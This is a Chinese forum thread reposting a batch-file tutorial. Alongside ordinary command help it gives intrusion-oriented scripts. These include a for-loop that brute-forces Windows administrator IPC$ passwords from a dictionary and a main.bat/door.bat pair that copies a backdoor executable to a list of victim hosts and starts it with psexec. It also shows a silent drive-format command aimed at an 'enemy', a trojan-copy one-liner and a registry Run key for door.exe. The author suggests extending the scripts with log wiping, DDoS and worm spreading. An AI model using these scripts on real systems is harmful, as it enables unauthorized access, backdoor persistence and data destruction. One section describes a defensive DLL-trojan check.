和平社区

 找回密码
 注 册

QQ登录

只需一步,快速开始

楼主: 懿zi

绿色软件知识大全!

[复制链接]
 楼主| 发表于 2007-1-19 03:10:23 | 显示全部楼层
<font size="2">描述: <br/>该工具允许用户从选择列表选择一个项目并返回所选项目的索引。 <br/><br/>参数列表: <br/>/C choices 指定要创建的选项列表。默认列表是 "YN"。 <br/><br/>/N 在提示符中隐藏选项列表。提示前面的消息得到显示, <br/>选项依旧处于启用状态。 <br/><br/>/CS 允许选择分大小写的选项。在默认情况下,这个工具 <br/>是不分大小写的。 <br/><br/>/T timeout 做出默认选择之前,暂停的秒数。可接受的值是从 0 <br/>到 9999。如果指定了 0,就不会有暂停,默认选项 <br/>会得到选择。 <br/><br/>/D choice 在 nnnn 秒之后指定默认选项。字符必须在用 /C 选 <br/>项指定的一组选择中; 同时,必须用 /T 指定 nnnn。 <br/><br/>/M text 指定提示之前要显示的消息。如果没有指定,工具只 <br/>显示提示。 <br/><br/>/? 显示帮助消息。 <br/><br/>注意: <br/>ERRORLEVEL 环境变量被设置为从选择集选择的键索引。列出的第一个选 <br/>择返回 1,第二个选择返回 2,等等。如果用户按的键不是有效的选择, <br/>该工具会发出警告响声。如果该工具检测到错误状态,它会返回 255 的 <br/>ERRORLEVEL 值。如果用户按 Ctrl+Break 或 Ctrl+C 键,该工具会返回 0 <br/>的 ERRORLEVEL 值。在一个批程序中使用 ERRORLEVEL 参数时,将参数降 <br/>序排列。 <br/><br/>示例: <br/>CHOICE /? <br/>CHOICE /C YNC /M "确认请按 Y,否请按 N,或者取消请按 C。" <br/>CHOICE /T 10 /C ync /CS /D y <br/>CHOICE /C ab /M "选项 1 请选择 a,选项 2 请选择 b。" <br/>CHOICE /C ab /N /M "选项 1 请选择 a,选项 2 请选择 b。" <br/><br/>==== willsort 编注 =============================== <br/>我列出win98下choice的用法帮助, 已资区分 <br/><br/>Waits for the user to choose one of a set of choices. <br/>等待用户选择一组待选字符中的一个 <br/><br/>CHOICE [/C[:]choices] [/N] [/S] [/T[:]c,nn] [text] <br/><br/>/C[:]choices Specifies allowable keys. Default is YN <br/>指定允许的按键(待选字符), 默认为YN <br/>/N Do not display choices and ? at end of prompt string. <br/>不显示提示字符串中的问号和待选字符 <br/>/S Treat choice keys as case sensitive. <br/>处理待选字符时大小写敏感 <br/>/T[:]c,nn Default choice to c after nn seconds <br/>在 nn 秒后默认选择 c <br/>text Prompt string to display <br/>要显示的提示字符串 <br/>ERRORLEVEL is set to offset of key user presses in choices. <br/>ERRORLEVEL 被设置为用户键入的字符在待选字符中的偏移值 <br/>如果我运行命令:CHOICE /C YNC /M "确认请按 Y,否请按 N,或者取消请按 C。" <br/>屏幕上会显示: <br/>确认请按 Y,否请按 N,或者取消请按 C。 [Y,N,C]? <br/><br/><br/>例:test.bat的内容如下(注意,用if errorlevel判断返回值时,要按返回值从高到低排列): <br/>@echo off <br/>choice /C dme /M "defrag,mem,end" <br/>if errorlevel 3 goto end <br/>if errorlevel 2 goto mem <br/>if errorlevel 1 goto defrag <br/><br/>:defrag <br/>c:\dos\defrag <br/>goto end <br/><br/>:mem <br/>mem <br/>goto end <br/><br/>:end <br/>echo good bye <br/><br/>此批处理运行后,将显示"defrag,mem,end[D,M,E]?" ,用户可选择d m e ,然后if语句根据用户的选择作出判断,d表示执行标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都以goto end将程序跳到end标号处,然后程序将显示good bye,批处理运行结束。 <br/><br/>四、for 循环命令,只要条件符合,它将多次执行同一命令。 <br/><br/>语法: <br/>对一组文件中的每一个文件执行某个特定命令。 <br/><br/>FOR %%variable IN (set) DO command [command-parameters] <br/><br/>%%variable 指定一个单一字母可替换的参数。 <br/>(set) 指定一个或一组文件。可以使用通配符。 <br/>command 指定对每个文件执行的命令。 <br/>command-parameters <br/>为特定命令指定参数或命令行开关。 <br/><br/>例如一个批处理文件中有一行: <br/>for %%c in (*.bat *.txt) do type %%c <br/><br/>则该命令行会显示当前目录下所有以bat和txt为扩展名的文件的内容。 <br/><br/>==== willsort 编注 ===================================================== <br/>需要指出的是, 当()中的字符串并非单个或多个文件名时, 它将单纯被当作字符串替换, 这个特性再加上()中可以嵌入多个字符串的特性, 很明显 for 可以被看作一种遍历型循环. <br/>当然, 在 nt/2000/xp/2003 系列的命令行环境中, for 被赋予了更多的特性, 使之可以分析命令输出或者文件中的字符串, 也有很多开关被用于扩展了文件替换功能. <br/>======================================================================== <br/><br/>批处理示例 <br/><br/>1. IF-EXIST <br/><br/>1) 首先用记事本在C:\建立一个test1.bat批处理文件,文件内容如下: <br/>@echo off <br/>IF EXIST \AUTOEXEC.BAT TYPE \AUTOEXEC.BAT <br/>IF NOT EXIST \AUTOEXEC.BAT ECHO \AUTOEXEC.BAT does not exist <br/><br/>然后运行它: <br/>C:\&gt;TEST1.BAT <br/><br/>如果C:\存在AUTOEXEC.BAT文件,那么它的内容就会被显示出来,如果不存在,批处理就会提示你该文件不存在。 <br/><br/>2) 接着再建立一个test2.bat文件,内容如下: <br/>@ECHO OFF <br/>IF EXIST \%1 TYPE \%1 <br/>IF NOT EXIST \%1 ECHO \%1 does not exist <br/><br/>执行: <br/>C:\&gt;TEST2 AUTOEXEC.BAT <br/>该命令运行结果同上。 <br/><br/>说明: <br/>(1) IF EXIST 是用来测试文件是否存在的,格式为 <br/>IF EXIST [路径+文件名] 命令 <br/>(2) test2.bat文件中的%1是参数,DOS允许传递9个批参数信息给批处理文件,分别为%1~%9(%0表示test2命令本身) ,这有点象编程中的实参和形参的关系,%1是形参,AUTOEXEC.BAT是实参。 <br/><br/>==== willsort 编注 ===================================================== <br/>DOS没有 "允许传递9个批参数信息" 的限制, 参数的个数只会受到命令行长度和所调用命令处理能力的限制. 但是, 我们在批处理程序中, 在同一时刻只能同时引用10个参数, 因为 DOS只给出了 %0~%9这十个参数引用符. <br/>======================================================================== <br/><br/>3) 更进一步的,建立一个名为TEST3.BAT的文件,内容如下: <br/>@echo off <br/>IF "%1" == "A" ECHO XIAO <br/>IF "%2" == "B" ECHO TIAN <br/>IF "%3" == "C" ECHO XIN <br/><br/>如果运行: <br/>C:\&gt;TEST3 A B C <br/>屏幕上会显示: <br/>XIAO <br/>TIAN <br/>XIN <br/><br/>如果运行: <br/>C:\&gt;TEST3 A B <br/>屏幕上会显示 <br/>XIAO <br/>TIAN <br/><br/>在这个命令执行过程中,DOS会将一个空字符串指定给参数%3。 <br/><br/>2、IF-ERRORLEVEL <br/><br/>建立TEST4.BAT,内容如下: <br/>@ECHO OFF <br/>XCOPY C:\AUTOEXEC.BAT D:\ <br/>IF ERRORLEVEL 1 ECHO 文件拷贝失败 <br/>IF ERRORLEVEL 0 ECHO 成功拷贝文件 <br/><br/>然后执行文件: <br/>C:\&gt;TEST4 <br/><br/>如果文件拷贝成功,屏幕就会显示"成功拷贝文件",否则就会显示"文件拷贝失败"。 <br/><br/>IF ERRORLEVEL 是用来测试它的上一个DOS命令的返回值的,注意只是上一个命令的返回值,而且返回值必须依照从大到小次序顺序判断。 <br/>因此下面的批处理文件是错误的: <br/><br/>@ECHO OFF <br/>XCOPY C:\AUTOEXEC.BAT D:\ <br/>IF ERRORLEVEL 0 ECHO 成功拷贝文件 <br/>IF ERRORLEVEL 1 ECHO 未找到拷贝文件 <br/>IF ERRORLEVEL 2 ECHO 用户通过ctrl-c中止拷贝操作 <br/>IF ERRORLEVEL 3 ECHO 预置错误阻止文件拷贝操作 <br/>IF ERRORLEVEL 4 ECHO 拷贝过程中写盘错误 <br/><br/>无论拷贝是否成功,后面的: <br/><br/>未找到拷贝文件 <br/>用户通过ctrl-c中止拷贝操作 <br/>预置错误阻止文件拷贝操作 <br/>拷贝过程中写盘错误 <br/><br/>都将显示出来。 <br/><br/>以下就是几个常用命令的返回值及其代表的意义: <br/><br/>backup <br/>0 备份成功 <br/>1 未找到备份文件 <br/>2 文件共享冲突阻止备份完成 <br/>3 用户用ctrl-c中止备份 <br/>4 由于致命的错误使备份操作中止 <br/><br/>diskcomp <br/>0 盘比较相同 <br/>1 盘比较不同 <br/>2 用户通过ctrl-c中止比较操作 <br/>3 由于致命的错误使比较操作中止 <br/>4 预置错误中止比较 <br/><br/>diskcopy <br/>0 盘拷贝操作成功 <br/>1 非致命盘读/写错 <br/>2 用户通过ctrl-c结束拷贝操作 <br/>3 因致命的处理错误使盘拷贝中止 <br/>4 预置错误阻止拷贝操作 <br/><br/>format <br/>0 格式化成功 <br/>3 用户</font><br/>
 楼主| 发表于 2007-1-19 03:11:15 | 显示全部楼层
<span class="tpc_content"><font size="2">批处理文件制作实例精彩教程<br/><br/>批处理文件是无格式的文本文件,现在无盘清理基本都是靠它实现的 因为简单实用下面就是方便大家怎样创建批处理文件的 <br/><br/><br/>一简单批处理内部命令简介 <br/><br/>1.Echo 命令 <br/>打开回显或关闭请求回显功能,或显示消息。如果没有任何参数,echo 命令将显示当前回显设置。 <br/>语法 <br/>echo [{on|off}] [message] <br/>Sample:@echo off / echo hello world <br/>在实际应用中我们会把这条命令和重定向符号(也称为管道符号,一般用&gt; &gt;&gt; ^)结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。 <br/>2.@ 命令 <br/>表示不显示@后面的命令,在入侵过程中(例如使用批处理来格式化敌人的硬盘)自然不能让对方看到你使用的命令啦。 <br/>Sample:@echo off <br/>@echo Now initializing the program,please wait a minite... <br/>@format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的,可喜的是微软留了个autoset这个参数给我们,效果和/y是一样的。) <br/><br/>3.Goto 命令 <br/>指定跳转到标签,找到标签后,程序将处理从下一行开始的命令。 <br/>语法:goto label (label是参数,指定所要转向的批处理程序中的行。) <br/>Sample: <br/>if {%1}=={} goto noparms <br/>if {%2}=={} goto noparms(如果这里的if、%1、%2你不明白的话,先跳过去,后面会有详细的解释。) <br/>@Rem check parameters if null show usage <br/>:noparms <br/>echo Usage: monitor.bat ServerIP PortNumber <br/>goto end <br/>标签的名字可以随便起,但是最好是有意义的字母啦,字母前加个:用来表示这个字母是标签,goto命令就是根据这个:来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。 <br/><br/>4.Rem 命令 <br/>注释命令,在C语言中相当与/*--------*/,它并不会被执行,只是起一个注释的作用,便于别人阅读和你自己日后修改。 <br/>Rem Message <br/>Sample:@Rem Here is the description. <br/><br/>5.Pause 命令 <br/>运行 Pause 命令时,将显示下面的消息: <br/>ress any key to continue . . . <br/>Sample: <br/>@echo off <br/>:begin <br/>copy a:*.* d://back <br/>echo Please put a new disk into driver A <br/>pause <br/>goto begin <br/>在这个例子中,驱动器 A 中磁盘上的所有文件均复制到d://back中。显示的注释提示您将另一张磁盘放入驱动器 A 时,pause 命令会使程序挂起,以便您更换磁盘,然后按任意键继续处理。 <br/><br/>6.Call 命令 <br/>从一个批处理程序调用另一个批处理程序,并且不终止父批处理程序。call 命令接受用作调用目标的标签。如果在脚本或批处理文件外使用 Call,它将不会在命令行起作用。 <br/>语法 <br/>call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]] <br/>参数 <br/>[Drive:}[Path] FileName <br/>指定要调用的批处理程序的位置和名称。filename 参数必须具有 .bat 或 .cmd 扩展名。 <br/><br/>7.start 命令 <br/>调用外部程序,所有的DOS命令和命令行程序都可以由start命令来调用。 <br/>入侵常用参数: <br/>MIN 开始时窗口最小化 <br/>SEPARATE 在分开的空间内开始 16 位 Windows 程序 <br/>HIGH 在 HIGH 优先级类别开始应用程序 <br/>REALTIME 在 REALTIME 优先级类别开始应用程序 <br/>WAIT 启动应用程序并等候它结束 <br/>parameters 这些为传送到命令/程序的参数 <br/>执行的应用程序是 32-位 GUI 应用程序时,CMD.EXE 不等应用程序终止就返回命令提示。如果在命令脚本内执行,该新行为则不会发生。 <br/>8.choice 命令 <br/>choice 使用此命令可以让用户输入一个字符,从而运行不同的命令。使用时应该加/c:参数,c:后应写提示可输入的字符,之间无空格。它的返回码为1234…… <br/><br/><br/>如: choice /c:dme defrag,mem,end <br/>将显示 <br/>defrag,mem,end[D,M,E]? <br/>Sample: <br/>Sample.bat的内容如下: <br/>@echo off <br/>choice /c:dme defrag,mem,end <br/>if errorlevel 3 goto defrag (应先判断数值最高的错误码) <br/>if errorlevel 2 goto mem <br/>if errotlevel 1 goto end <br/><br/>:defrag <br/>c://dos//defrag <br/>goto end <br/>:mem <br/>mem <br/>goto end <br/>:end <br/>echo good bye <br/><br/>此文件运行后,将显示 defrag,mem,end[D,M,E]? 用户可选择d m e ,然后if语句将作出判断,d表示执行标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都以goto end将程序跳到end标号处,然后程序将显示good bye,文件结束。 <br/><br/>9.If 命令 <br/><br/>if 表示将判断是否符合规定的条件,从而决定执行不同的命令。 有三种格式: <br/>1、if "参数" == "字符串"  待执行的命令 <br/>参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。(注意是两个等号) <br/>如if "%1"=="a" format a: <br/>if {%1}=={} goto noparms <br/>if {%2}=={} goto noparms <br/><br/>2、if exist 文件名  待执行的命令 <br/>如果有指定的文件,则条件成立,运行命令,否则运行下一句。 <br/>如if exist config.sys edit config.sys <br/><br/>3、if errorlevel / if not errorlevel 数字  待执行的命令 <br/>如果返回码等于指定的数字,则条件成立,运行命令,否则运行下一句。 <br/>如if errorlevel 2 goto x2   <br/>DOS程序运行时都会返回一个数字给DOS,称为错误码errorlevel或称返回码,常见的返回码为0、1。 <br/><br/>10.for 命令 <br/>for 命令是一个比较复杂的命令,主要用于参数在指定的范围内循环执行命令。 <br/>在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable <br/><br/>for {%variable|%%variable} in (set) do command [ CommandLineOptions] <br/>%variable 指定一个单一字母可替换的参数。 <br/>(set) 指定一个或一组文件。可以使用通配符。 <br/>command 指定对每个文件执行的命令。 <br/>command-parameters 为特定命令指定参数或命令行开关。 <br/>在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable <br/>而不要用 %variable。变量名称是区分大小写的,所以 %i 不同于 %I <br/><br/>如果命令扩展名被启用,下列额外的 FOR 命令格式会受到 <br/>支持: <br/><br/>FOR /D %variable IN (set) DO command [command-parameters] <br/><br/>如果集中包含通配符,则指定与目录名匹配,而不与文件 <br/>名匹配。 <br/><br/>FOR /R [[drive:]path] %variable IN (set) DO command [command- <br/><br/>检查以 [drive:]path 为根的目录树,指向每个目录中的 <br/>FOR 语句。如果在 /R 后没有指定目录,则使用当前 <br/>目录。如果集仅为一个单点(.)字符,则枚举该目录树。 <br/><br/>FOR /L %variable IN (start,step,end) DO command [command-para <br/><br/>该集表示以增量形式从开始到结束的一个数字序列。 <br/>因此,(1,1,5) 将产生序列 1 2 3 4 5,(5,-1,1) 将产生 <br/>序列 (5 4 3 2 1)。 <br/><br/>FOR /F ["options"] %variable IN (file-set) DO command <br/>FOR /F ["options"] %variable IN ("string") DO command <br/>FOR /F ["options"] %variable IN (command) DO command <br/><br/>或者,如果有 usebackq 选项: <br/><br/>FOR /F ["options"] %variable IN (file-set) DO command <br/>FOR /F ["options"] %variable IN ("string") DO command <br/>FOR /F ["options"] %variable IN (command) DO command <br/><br/>filenameset 为一个或多个文件名。继续到 filenameset 中的 <br/>下一个文件之前,每份文件都已被打开、读取并经过处理。 <br/>处理包括读取文件,将其分成一行行的文字,然后将每行 <br/>解析成零或更多的符号。然后用已找到的符号字符串变量值 <br/>调用 For 循环。以默认方式,/F 通过每个文件的每一行中分开 <br/>的第一个空白符号。跳过空白行。您可通过指定可选 "options" <br/>参数替代默认解析操作。这个带引号的字符串包括一个或多个 <br/>指定不同解析选项的关键字。这些关键字为: <br/><br/>eol=c - 指一个行注释字符的结尾(就一个) <br/>skip=n - 指在文件开始时忽略的行数。 <br/>delims=xxx - 指分隔符集。这个替换了空格和跳格键的 <br/>默认分隔符集。 <br/>tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代 <br/>的 for 本身。这会导致额外变量名称的 <br/>格式为一个范围。通过 nth 符号指定 m <br/>符号字符串中的最后一个字符星号, <br/>那么额外的变量将在最后一个符号解析之 <br/>分配并接受行的保留文本。 <br/>usebackq - 指定新语法已在下类情况中使用: <br/>在作为命令执行一个后引号的字符串并且 <br/>引号字符为文字字符串命令并允许在 fi <br/>中使用双引号扩起文件名称。 </font><br/><br/><br/></span>
 楼主| 发表于 2007-1-19 03:12:22 | 显示全部楼层
<font size="2">sample1: <br/>FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command <br/><br/>会分析 myfile.txt 中的每一行,忽略以分号打头的那些行,将 <br/>每行中的第二个和第三个符号传递给 for 程序体;用逗号和/或 <br/>空格定界符号。请注意,这个 for 程序体的语句引用 %i 来 <br/>取得第二个符号,引用 %j 来取得第三个符号,引用 %k <br/>来取得第三个符号后的所有剩余符号。对于带有空格的文件 <br/>名,您需要用双引号将文件名括起来。为了用这种方式来使 <br/>用双引号,您还需要使用 usebackq 选项,否则,双引号会 <br/>被理解成是用作定义某个要分析的字符串的。 <br/><br/>%i 专门在 for 语句中得到说明,%j 和 %k 是通过 <br/>tokens= 选项专门得到说明的。您可以通过 tokens= 一行 <br/>指定最多 26 个符号,只要不试图说明一个高于字母 z 或 <br/>Z 的变量。请记住,FOR 变量是单一字母、分大小写和全局的; <br/>同时不能有 52 个以上都在使用中。 <br/><br/>您还可以在相邻字符串上使用 FOR /F 分析逻辑;方法是, <br/>用单引号将括号之间的 filenameset 括起来。这样,该字符 <br/>串会被当作一个文件中的一个单一输入行。 <br/><br/>最后,您可以用 FOR /F 命令来分析命令的输出。方法是,将 <br/>括号之间的 filenameset 变成一个反括字符串。该字符串会 <br/>被当作命令行,传递到一个子 CMD.EXE,其输出会被抓进 <br/>内存,并被当作文件分析。因此,以下例子: <br/><br/>FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i <br/><br/>会枚举当前环境中的环境变量名称。 <br/><br/>另外,FOR 变量参照的替换已被增强。您现在可以使用下列 <br/>选项语法: <br/><br/>~I - 删除任何引号("),扩充 %I <br/>%~fI - 将 %I 扩充到一个完全合格的路径名 <br/>%~dI - 仅将 %I 扩充到一个驱动器号 <br/>%~pI - 仅将 %I 扩充到一个路径 <br/>%~nI - 仅将 %I 扩充到一个文件名 <br/>%~xI - 仅将 %I 扩充到一个文件扩展名 <br/>%~sI - 扩充的路径只含有短名 <br/>%~aI - 将 %I 扩充到文件的文件属性 <br/>%~tI - 将 %I 扩充到文件的日期/时间 <br/>%~zI - 将 %I 扩充到文件的大小 <br/>%~$PATH:I - 查找列在路径环境变量的目录,并将 %I 扩充 <br/>到找到的第一个完全合格的名称。如果环境变量 <br/>未被定义,或者没有找到文件,此组合键会扩充 <br/>空字符串 <br/><br/>可以组合修饰符来得到多重结果: <br/><br/>%~dpI - 仅将 %I 扩充到一个驱动器号和路径 <br/>%~nxI - 仅将 %I 扩充到一个文件名和扩展名 <br/>%~fsI - 仅将 %I 扩充到一个带有短名的完整路径名 <br/>%~dp$PATH:i - 查找列在路径环境变量的目录,并将 %I 扩充 <br/>到找到的第一个驱动器号和路径。 <br/>%~ftzaI - 将 %I 扩充到类似输出线路的 DIR <br/><br/>在以上例子中,%I 和 PATH 可用其他有效数值代替。%~ 语法 <br/>用一个有效的 FOR 变量名终止。选取类似 %I 的大写变量名 <br/>比较易读,而且避免与不分大小写的组合键混淆。 <br/><br/>以上是MS的官方帮助,下面我们举几个例子来具体说明一下For命令在入侵中的用途。 <br/><br/><br/>sample2: <br/><br/>利用For命令来实现对一台目标Win2k主机的暴力密码破解。 <br/>我们用net use ////ip//ipc$ "password" /u:"administrator"来尝试这和目标主机进行连接,当成功时记下密码。 <br/>最主要的命令是一条:for /f i% in (dict.txt) do net use ////ip//ipc$ "i%" /u:"administrator" <br/>用i%来表示admin的密码,在dict.txt中这个取i%的值用net use 命令来连接。然后将程序运行结果传递给find命令-- <br/>for /f i%% in (dict.txt) do net use ////ip//ipc$ "i%%" /u:"administrator"|find ":命令成功完成"&gt;&gt;D://ok.txt ,这样就ko了。 <br/><br/><br/>sample3: <br/><br/>你有没有过手里有大量肉鸡等着你去种后门+木马呢?,当数量特别多的时候,原本很开心的一件事都会变得很郁闷:)。文章开头就谈到使用批处理文件,可以简化日常或重复性任务。那么如何实现呢?呵呵,看下去你就会明白了。 <br/><br/>主要命令也只有一条:(在批处理文件中使用 FOR 命令时,指定变量使用 %%variable) <br/>@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k <br/>tokens的用法请参见上面的sample1,在这里它表示按顺序将victim.txt中的内容传递给door.bat中的参数%i %j %k。 <br/>而cultivate.bat无非就是用net use命令来建立IPC$连接,并copy木马+后门到victim,然后用返回码(If errorlever =)来筛选成功种植后门的主机,并echo出来,或者echo到指定的文件。 <br/>delims= 表示vivtim.txt中的内容是一空格来分隔的。我想看到这里你也一定明白这victim.txt里的内容是什么样的了。应该根据%%i %%j %%k表示的对象来排列,一般就是 ip password username。 <br/>代码雏形: <br/><br/>--------------- cut here then save as a batchfile(I call it main.bat ) --------------------------- <br/>@echo off <br/>@if "%1"=="" goto usage <br/>@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k <br/>@goto end <br/>:usage <br/>@echo run this batch in dos modle.or just double-click it. <br/>:end <br/>--------------- cut here then save as a batchfile(I call it main.bat ) --------------------------- <br/><br/><br/>------------------- cut here then save as a batchfile(I call it door.bat) ----------------------------- <br/>@net use ////%1//ipc$ %3 /u:"%2" <br/>@if errorlevel 1 goto failed <br/>@echo Trying to establish the IPC$ connection …………OK <br/>@copy windrv32.exe////%1//admin$//system32 &amp;&amp; if not errorlevel 1 echo IP %1 USER %2 PWD %3 &gt;&gt;ko.txt <br/>@psexec ////%1 c://winnt//system32//windrv32.exe <br/>@psexec ////%1 net start windrv32 &amp;&amp; if not errorlevel 1 echo %1 Backdoored &gt;&gt;ko.txt <br/>:failed <br/>@echo Sorry can not connected to the victim. <br/>----------------- cut here then save as a batchfile(I call it door.bat) -------------------------------- <br/>这只是一个自动种植后门批处理的雏形,两个批处理和后门程序(Windrv32.exe),PSexec.exe需放在统一目录下.批处理内容 <br/>尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究. <br/>二.如何在批处理文件中使用参数 <br/><br/>批处理中可以使用参数,一般从1%到 9%这九个,当有多个参数时需要用shift来移动,这种情况并不多见,我们就不考虑它了。 <br/>sample1:fomat.bat <br/>@echo off <br/>if "%1"=="a" format a: <br/>:format <br/>@format a:/q/u/auotset <br/>@echo please insert another disk to driver A. <br/>@pause <br/>@goto fomat <br/>这个例子用于连续地格式化几张软盘,所以用的时候需在dos窗口输入fomat.bat a,呵呵,好像有点画蛇添足了~^_^ <br/>sample2: <br/>当我们要建立一个IPC$连接地时候总要输入一大串命令,弄不好就打错了,所以我们不如把一些固定命令写入一个批处理,把肉鸡地ip password username 当着参数来赋给这个批处理,这样就不用每次都打命令了。 <br/>@echo off <br/>@net use ////1%//ipc$ "2%" /u:"3%" 注意哦,这里PASSWORD是第二个参数。 <br/>@if errorlevel 1 echo connection failed <br/>怎么样,使用参数还是比较简单的吧?你这么帅一定学会了^_^.No.3 </font><br/><br/>
 楼主| 发表于 2007-1-19 03:13:54 | 显示全部楼层
<font size="2">三.如何使用组合命令(Compound Command) <br/><br/>1.&amp; <br/><br/>Usage:第一条命令 &amp; 第二条命令 [&amp; 第三条命令...] <br/><br/>用这种方法可以同时执行多条命令,而不管命令是否执行成功 <br/><br/>Sample: <br/>C://&gt;dir z: &amp; dir c://Ex4rch <br/>The system cannot find the path specified. <br/>Volume in drive C has no label. <br/>Volume Serial Number is 0078-59FB <br/><br/>Directory of c://Ex4rch <br/><br/>2002-05-14 23:51 &lt;DIR&gt; . <br/>2002-05-14 23:51 &lt;DIR&gt; .. <br/>2002-05-14 23:51 14 sometips.gif <br/><br/>2.&amp;&amp; <br/><br/>Usage:第一条命令 &amp;&amp; 第二条命令 [&amp;&amp; 第三条命令...] <br/><br/>用这种方法可以同时执行多条命令,当碰到执行出错的命令后将不执行后面的命令,如果一直没有出错则一直执行完所有命令; <br/><br/>Sample: <br/>C://&gt;dir z: &amp;&amp; dir c://Ex4rch <br/>The system cannot find the path specified. <br/><br/>C://&gt;dir c://Ex4rch &amp;&amp; dir z: <br/>Volume in drive C has no label. <br/>Volume Serial Number is 0078-59FB <br/><br/>Directory of c://Ex4rch <br/><br/>2002-05-14 23:55 &lt;DIR&gt; . <br/>2002-05-14 23:55 &lt;DIR&gt; .. <br/>2002-05-14 23:55 14 sometips.gif <br/>1 File(s) 14 bytes <br/>2 Dir(s) 768,671,744 bytes free <br/>The system cannot find the path specified. <br/><br/>在做备份的时候可能会用到这种命令会比较简单,如: <br/>dir 文件://192.168.0.1/database/backup.mdb &amp;&amp; copy 文件://192.168.0.1/database/backup.mdb E://backup <br/>如果远程服务器上存在backup.mdb文件,就执行copy命令,若不存在该文件则不执行copy命令。这种用法可以替换IF exist了 :) <br/><br/>3.|| <br/><br/>Usage:第一条命令 || 第二条命令 [|| 第三条命令...] <br/><br/>用这种方法可以同时执行多条命令,当碰到执行正确的命令后将不执行后面的命令,如果没有出现正确的命令则一直执行完所有命令; <br/><br/>Sample: <br/>C://Ex4rch&gt;dir sometips.gif || del sometips.gif <br/>Volume in drive C has no label. <br/>Volume Serial Number is 0078-59FB <br/><br/>Directory of C://Ex4rch <br/><br/>2002-05-14 23:55 14 sometips.gif <br/>1 File(s) 14 bytes <br/>0 Dir(s) 768,696,320 bytes free <br/><br/>组合命令使用的例子: <br/>sample: <br/>@copy trojan.exe ////%1//admin$//system32 &amp;&amp; if not errorlevel 1 echo IP %1 USER %2 PASS %3 &gt;&gt;victim.txt <br/><br/><br/><br/>[此贴子已经被作者于2004-11-25 20:52:10编辑过] <br/>-------------------------------------------------------------------------------- <br/><br/>-- 作者:epdni <br/>-- 发布时间:2004-11-18 10:11:25 <br/><br/>-- <br/>四、管道命令的使用 <br/>1.| 命令 <br/>Usage:第一条命令 | 第二条命令 [| 第三条命令...] <br/>将第一条命令的结果作为第二条命令的参数来使用,记得在unix中这种方式很常见。 <br/><br/>sample: <br/>time /t&gt;&gt;D://IP.log <br/>netstat -n -p tcp|find ":3389"&gt;&gt;D://IP.log <br/>start Explorer <br/>看出来了么?用于终端服务允许我们为用户自定义起始的程序,来实现让用户运行下面这个bat,以获得登录用户的IP。 <br/><br/>2.&gt;、&gt;&gt;输出重定向命令 <br/>将一条命令或某个程序输出结果的重定向到特定文件中, &gt; 与 &gt;&gt;的区别在于,&gt;会清除调原有文件中的内容后写入指定文件,而&gt;&gt;只会追加内容到指定文件中,而不会改动其中的内容。 <br/><br/>sample1: <br/>echo hello world&gt;c://hello.txt (stupid example?) <br/><br/>sample2: <br/>时下DLL木马盛行,我们知道system32是个捉迷藏的好地方,许多木马都削尖了脑袋往那里钻,DLL马也不例外,针对这一点我们可以在安装好系统和必要的应用程序后,对该目录下的EXE和DLL文件作一个记录: <br/>运行CMD--转换目录到system32--dir *.exe&gt;exeback.txt &amp; dir *.dll&gt;dllback.txt, <br/>这样所有的EXE和DLL文件的名称都被分别记录到exeback.txt和dllback.txt中, <br/>日后如发现异常但用传统的方法查不出问题时,则要考虑是不是系统中已经潜入DLL木马了. <br/>这时我们用同样的命令将system32下的EXE和DLL文件记录到另外的exeback1.txt和dllback1.txt中,然后运行: <br/>CMD--fc exeback.txt exeback1.txt&gt;diff.txt &amp; fc dllback.txt dllback1.txt&gt;diff.txt.(用FC命令比较前后两次的DLL和EXE文件,并将结果输入到diff.txt中),这样我们就能发现一些多出来的DLL和EXE文件,然后通过查看创建时间、版本、是否经过压缩等就能够比较容易地判断出是不是已经被DLL木马光顾了。没有是最好,如果有的话也不要直接DEL掉,先用regsvr32 /u trojan.dll将后门DLL文件注销掉,再把它移到回收站里,若系统没有异常反映再将之彻底删除或者提交给杀毒软件公司。 <br/><br/>3.&lt; 、&gt;&amp; 、&lt;&amp; <br/>&lt; 从文件中而不是从键盘中读入命令输入。 <br/>&gt;&amp; 将一个句柄的输出写入到另一个句柄的输入中。 <br/>&lt;&amp; 从一个句柄读取输入并将其写入到另一个句柄输出中。 <br/>这些并不常用,也就不多做介绍。 <br/><br/>No.5 <br/>五.如何用批处理文件来操作注册表 <br/><br/>在入侵过程中经常回操作注册表的特定的键值来实现一定的目的,例如:为了达到隐藏后门、木马程序而删除Run下残余的键值。或者创建一个服务用以加载后门。当然我们也会修改注册表来加固系统或者改变系统的某个属性,这些都需要我们对注册表操作有一定的了解。下面我们就先学习一下如何使用.REG文件来操作注册表.(我们可以用批处理来生成一个REG文件) <br/>关于注册表的操作,常见的是创建、修改、删除。 <br/><br/>1.创建 <br/>创建分为两种,一种是创建子项(Subkey) <br/><br/>我们创建一个文件,内容如下: <br/><br/>Windows Registry Editor Version 5.00 <br/><br/>[HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//hacker] <br/><br/>然后执行该脚本,你就已经在HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft下创建了一个名字为“hacker”的子项。 <br/><br/>另一种是创建一个项目名称 <br/>那这种文件格式就是典型的文件格式,和你从注册表中导出的文件格式一致,内容如下: <br/><br/>Windows Registry Editor Version 5.00 <br/><br/>[HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Run] <br/>"Invader"="Ex4rch" <br/>"Door"=C:////WINNT////system32////door.exe <br/>"Autodos"=dword:02 